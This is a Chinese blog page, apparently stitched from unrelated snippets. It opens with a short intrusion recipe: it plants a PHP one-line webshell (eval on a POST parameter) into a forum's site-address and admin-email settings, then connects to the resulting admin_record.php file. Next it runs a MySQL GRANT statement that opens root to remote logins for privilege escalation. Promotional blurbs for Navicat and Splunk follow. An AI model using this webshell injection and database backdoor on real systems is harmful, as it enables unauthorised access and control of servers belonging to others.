黑面小窝

常规设置：站点地址和管理员邮箱处插入代码

站点地址：http://''''''''''''''<?php eval($_POST[cmd])?>'''''''''''''''''''''\\

管理员邮箱：''''''''''''''<?php eval($_POST[cmd])?>'''''''''''''''''''''\\

提交一句话连接：data\bbscache\admin_record.php
 

如果遇到了 服务器开启了 3306 端口，但是不允许root外连的情况，我们可以在shell里面执行如下的语句来开启root用户的外连，方便我们提权。

GRANT ALL PRIVILEGES ON *.* TO ‘root’@'%’ IDENTIFIED BY ‘root密码’ WITH GRANT OPTION;

转自:独自等待博客

软件简介：Navicat导航貓是一个强大的MySQL数据库管理和开发工具。Navicat导航貓为专业开发者提供了一套强大的足够尖端的工具，但它对于新用户仍然是易于学习。Navicat,使用了极好的图形用户界面（GUI），可以让你用一种安全和更为容易的方式快速和容易地创建、组织、存取和共享信息。

More...

        Splunk 是一个日志分析软件.与 Google Analytics 这一类的 Web 日志分析软件的不同之处在于，Splunk 可以支持任何服务器产生的日志，其对日志进行处理的方式是进行高效索引之后让管理员可以对日志中出现的各种情况进行搜索，并且通过非常好的图形化的方式展现出来。 Splunk 使用了IT搜索引擎，它可以实时搜寻、浏览、警示及报告您所有的IT数据，包括记录文件、组态、讯息、捕捉讯号及警示、脚本、程序代码、计量单位及更多数据。只要是您IT设备机器所产生的数据，Splunk就能加以消化。 每天由各种服务器所产生的日志的数量是非常惊人的，而遇到突发情况时，却往往能够从这些海量日志中找到最多的有用消息。通常在 Unix 下对日志进行查找使用的是 grep 之类的低效率的方式，而 Splunk 使用了现代搜索引擎技术对日志进行搜索，同时提供了一个非常强大的 AJAX 式的界面展现日志。

More...